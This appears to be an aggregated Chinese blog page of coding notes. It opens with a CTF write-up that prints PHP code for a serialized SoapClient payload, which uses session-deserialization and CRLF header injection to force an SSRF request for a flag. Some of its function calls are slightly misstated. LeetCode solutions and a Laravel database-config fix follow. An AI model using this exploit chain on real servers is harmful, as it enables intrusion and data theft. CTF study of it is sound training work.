www.91084.com

GVKun编程网logo

bestphp's revenge刷题笔记(刷题笔tome)

15

如果您想了解bestphp'srevenge刷题笔记的相关知识,那么本文是一篇不可错过的文章,我们将对刷题笔tome进行全面详尽的解释,并且为您提供关于(python)leetcode刷题笔

如果您想了解bestphp's revenge刷题笔记的相关知识,那么本文是一篇不可错过的文章,我们将对刷题笔tome进行全面详尽的解释,并且为您提供关于(python)leetcode刷题笔记03 Longest Substring Without Repeating Characters、(python)leetcode刷题笔记05 Longest Palindromic Substring、Laravel [1045] 解决方法 Access denied for user 'homestead'@'localhost'、Leecode刷题笔记之二分查找的有价值的信息。

本文目录一览:

bestphp's revenge刷题笔记(刷题笔tome)

bestphp's revenge刷题笔记(刷题笔tome)

题目源码

index.PHP

 <?PHP
highlight_file(__FILE__);
$b = 'implode'; //可被覆盖
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> 

flag.PHP

<?PHP
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){ //要通过ssrf来获取flag $_SESSION['flag'] = $flag; }?>

解题思路:利用session反序列化触发soapclient类方法进行ssrf访问flag,PHP

第一步:

session反序列化需要session.serialize_handler使用与默认不一样,所以首先用第一个call_user_func执行session_start('session.serialize_handler','PHP_serialize')设置用PHP_serialize来处理session,同时session反序列化时构造的类为soapclient

利用soapclient构造ssrf

<?PHP
$a = new SoapClient(null,
    array(
        'user_agent' => "aaa\r\nCookie:PHPSESSID=u6ljl69tjrbutbq4i0oeb0m332",  //这里可以通过加crlf的方法控制header,带上自己的sessionid
        'uri' => 'bbb',
        'location' => 'http://ae0bb0f2-f512-4118-8f03-60a13b829c0a.node4.buuoj.cn:81/flag.PHP' //向此处发起请求
    )
);
$b = serialize($a);
echo urlencode($b);
?>

然后将其前加|传入name中(写入session并被PHP解析为键值)

 

此时name被通过PHP_serialize处理写入了session数组中

第二步:

要想办法触发soapclient的序列化值,要先调用其中的_call,此时用PHP引擎来反序列化session,$a数组中第一项即为我们构造的soapclient类,在第二个call_user_func中让这个类调用不存在的方法即可触发ssrf

做题过程中遇到了一个坑,如果soapclient发起请求中带的sessionid是自己在本题环境中拿到的sessionid则第二步会造成死循环引发504错误

回头看思路有迹可循但确实好难想到啊

(python)leetcode刷题笔记03 Longest Substring Without Repeating Characters

(python)leetcode刷题笔记03 Longest Substring Without Repeating Characters

3. Longest Substring Without Repeating Characters

Given a string, find the length of the longest substring without repeating characters.

 

 

Examples:

Given "abcabcbb", the answer is "abc", which the length is 3.

Given "bbbbb", the answer is "b", with the length of 1.

Given "pwwkew", the answer is "wke", with the length of 3. Note that the answer must be a substring, "pwke" is a subsequence and not a substring

 

 

ANSWER:

 1 class Solution:
 2     def lengthOfLongestSubstring(self, s):
 3         """
 4         :type s: str
 5         :rtype: int
 6         """
 7         if s:
 8             i=0
 9             max_sub =s[0]
10             len_s=len(s)
11             while i<len(s):
12                 j=i+1
13                 for index in range(j,len_s):
14                     if s[index] not in s[i:index]:
15                         if len(s[i:index+1])>len(max_sub):
16                             max_sub=s[i:index+1]
17                     else:
18                         break
19                 i+=1
20             return len(max_sub)
21         else:
22             return 0
code
 1 def main(s):
 2     if s:
 3         i=0
 4         max_sub =s[0]
 5         len_s=len(s)
 6         while i<len(s):
 7             j=i+1
 8             for index in range(j,len_s):
 9                 if s[index] not in s[i:index]:
10                     if len(s[i:index+1])>len(max_sub):
11                         max_sub=s[i:index+1]
12                 else:
13                     break
14             i+=1
15         return len(max_sub)
16     else:
17         return 0
18 if __name__ == ''__main__'':
19     s=''pwwke''
20     print(main(s))
调试代码

 

(python)leetcode刷题笔记05 Longest Palindromic Substring

(python)leetcode刷题笔记05 Longest Palindromic Substring

5. Longest Palindromic Substring

Given a string s, find the longest palindromic substring in s. You may assume that the maximum length of s is 1000.

 

Example:

Input: "babad"

Output: "bab"

Note: "aba" is also a valid answer.

Example:

Input: "cbbd"

Output: "bb"

 

 

 

 

 

 

 1 class Solution:
 2     def solve(self,s,l,r):
 3         while r<len(s) and l>=0 and s[l]==s[r]:
 4             l-=1
 5             r+=1
 6         return s[l+1:r]
 7     def longestPalindrome(self,s):
 8         if len(s) == 0:
 9             return 0
10         max_string=''''
11         for i in range(len(s)):
12             #奇数长度回文串如ababa
13             tmp=self.solve(s,i,i)
14             if len(tmp)>len(max_string):
15                 max_string=tmp
16             #偶数回文串如abba
17 
18             tmp=self.solve(s,i,i+1)
19             if len(tmp)>len(max_string):
20                 max_string=tmp
21 
22         return max_string
Code

 

 

 1 def solve(s,l,r):
 2     while r<len(s) and l>=0 and s[l]==s[r]:
 3         l-=1
 4         r+=1
 5     return s[l+1:r]
 6 def longestPalindrome(s):
 7     if len(s) == 0:
 8         return 0
 9     max_string=''''
10     for i in range(len(s)):
11         #奇数长度回文串如ababa
12         tmp=solve(s,i,i)
13         if len(tmp)>len(max_string):
14             max_string=tmp
15         #偶数回文串如abba
16 
17         tmp=solve(s,i,i+1)
18         if len(tmp)>len(max_string):
19             max_string=tmp
20 
21     return max_string
22 
23 
24 
25 
26 print(longestPalindrome(''ababa''))
Debug Code

 

Laravel [1045] 解决方法 Access denied for user 'homestead'@'localhost'

Laravel [1045] 解决方法 Access denied for user 'homestead'@'localhost'

 

 

这几天学习Laravel框架遇到了数据库方面的问题。

PDOException in Connector.PHP line 55:sqlSTATE[HY000] [1045] 
Access denied for user 'homestead'@'localhost' (using password: YES)

出现问题解决方法如下

1.确认database.PHP文件配置正确。

首先检查database.PHP中自己填写的信息是正确的。

2.检查.env文件

这是默认的.env文件

APP_ENV=local
APP_KEY=
APP_DEBUG=true
APP_LOG_LEVEL=debug
APP_URL=http://localhost

DB_CONNECTION=MysqL
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret

broADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
QUEUE_DRIVER=sync

REdis_HOST=127.0.0.1
REdis_PASSWORD=null
REdis_PORT=6379

MAIL_DRIVER=smtp
MAIL_HOST=mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
MAIL_ENCRYPTION=null

PUSHER_APP_ID=
PUSHER_KEY=
PUSHER_SECRET=

取对应的数据库部分 
我用的是MysqL数据库

DB_CONNECTION=MysqL
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=homestead
DB_USERNAME=homestead
DB_PASSWORD=secret

3.修改.env文件

将上述的部分做如下修改

DB_CONNECTION=MysqL
DB_HOST=[你的数据库地址]
DB_PORT=[端口(3306)]
DB_DATABASE=[数据库]
DB_USERNAME=[用户名]
DB_PASSWORD=[密码]

修改后保存

4.重启服务

一开始改动的时候就是不成功,花了很长时间发现没有清理缓存。。。

清理缓存重启服务 
在命令行中进入程序根目录,执行下列语句。

PHP artisan cache:clear
PHP artisan config:clear
PHP artisan serve

这样在刷新就可以了。

Leecode刷题笔记之二分查找

Leecode刷题笔记之二分查找

34. 在排序数组中查找元素的第一个和最后一个位置


附上题目链接:https://leetcode.cn/problems/find-first-and-last-position-of-element-in-sorted-array/
题目说明时间复杂度为O(logn)并且是有序数组,最先想到的就是使用二分查找来做,那么怎么来定位数组的开始位置和结束位置呢?其实还是通过二分查找来完成。

解法一

寻找target在数组里的左右边界,有如下三种情况:

  • 情况一:target 在数组范围的右边或者左边,例如数组{3, 4, 5},target为2或者数组{3, 4, 5},target为6,此时应该返回{-1, -1}
  • 情况二:target 在数组范围中,且数组中不存在target,例如数组{3,6,7},target为5,此时应该返回{-1, -1}
  • 情况三:target 在数组范围中,且数组中存在target,例如数组{3,6,7},target为6,此时应该返回{1, 1}
    然后通过两次使用二分查找,分别定位target的最左边和最右边。
class Solution {
    public int[] searchRange(int[] nums, int target) {
        int leftBorder = getLeftBorder(nums,target);
        int rightBorder = getRightBorder(nums,target);

        //target 在数组范围的右边或者左边
        if (leftBorder == -2 || rightBorder == -2){
            return new int[]{-1,-1};
        }
        //target 在数组范围中,且数组中存在target
        if (rightBorder - leftBorder > 1){
            return new int[]{leftBorder + 1,rightBorder - 1};
        }
        //target 在数组范围中,且数组中不存在target
        return new int[]{-1,-1};
    }

    public int getRightBorder(int[] nums, int target) {
        int left = 0,right = nums.length - 1;
        int rightBorder = -2;

        while (left <= right){
            int mid = left + (right - left) / 2;
            if (nums[mid] > target){
                right = mid - 1;
            }else{
                left = mid + 1;
                rightBorder = left;
            }
        }
        return rightBorder;
    }

    public int getLeftBorder(int[] nums, int target) {
        int left = 0,right = nums.length - 1;
        int leftBorder = -2;

        while (left <= right){
            int mid = left + (right - left) / 2;
            if (nums[mid] < target){
                left = mid + 1;
            }else{
                right = mid - 1;
                leftBorder = right;
            }
        }
        return leftBorder;
    }
}

解法二

直接在数组中进行二分查找,如果没有找到就直接返回{-1,-1};如果查找成功,就返回当前target的下标,然后通过左右滑动指针的方式来找到符合区间。

class Solution {
  public int[] searchRange(int[] nums, int target) {
    int index = binarySearch(nums, target); // 二分查找
    
    if (index == -1) { // nums 中不存在 target,直接返回 {-1, -1}
      return new int[] {-1, -1}; // 匿名数组 
    }
    // nums 中存在 targe,则左右滑动指针,来找到符合题意的区间
    int left = index;
    int right = index;
        // 向左滑动,找左边界
    while (left - 1 >= 0 && nums[left - 1] == nums[index]) { // 防止数组越界。逻辑短路,两个条件顺序不能换
      left--;
    }
        // 向左滑动,找右边界
    while (right + 1 < nums.length && nums[right + 1] == nums[index]) { // 防止数组越界。
      right++;
    }
    return new int[] {left, right};
    }
  
  /**
   * 二分查找
   * @param nums
   * @param target
   */
  public int binarySearch(int[] nums, int target) {
    int left = 0;
    int right = nums.length - 1; // 不变量:左闭右闭区间
    
    while (left <= right) { // 不变量:左闭右闭区间
      int mid = left + (right - left) / 2;
      if (nums[mid] == target) {
        return mid;
      } else if (nums[mid] < target) {
        left = mid + 1;
      } else {
        right = mid - 1; // 不变量:左闭右闭区间
      }
    }
    return -1; // 不存在
  }
}

今天的关于bestphp's revenge刷题笔记刷题笔tome的分享已经结束,谢谢您的关注,如果想了解更多关于(python)leetcode刷题笔记03 Longest Substring Without Repeating Characters、(python)leetcode刷题笔记05 Longest Palindromic Substring、Laravel [1045] 解决方法 Access denied for user 'homestead'@'localhost'、Leecode刷题笔记之二分查找的相关知识,请在本站进行查询。

本文标签: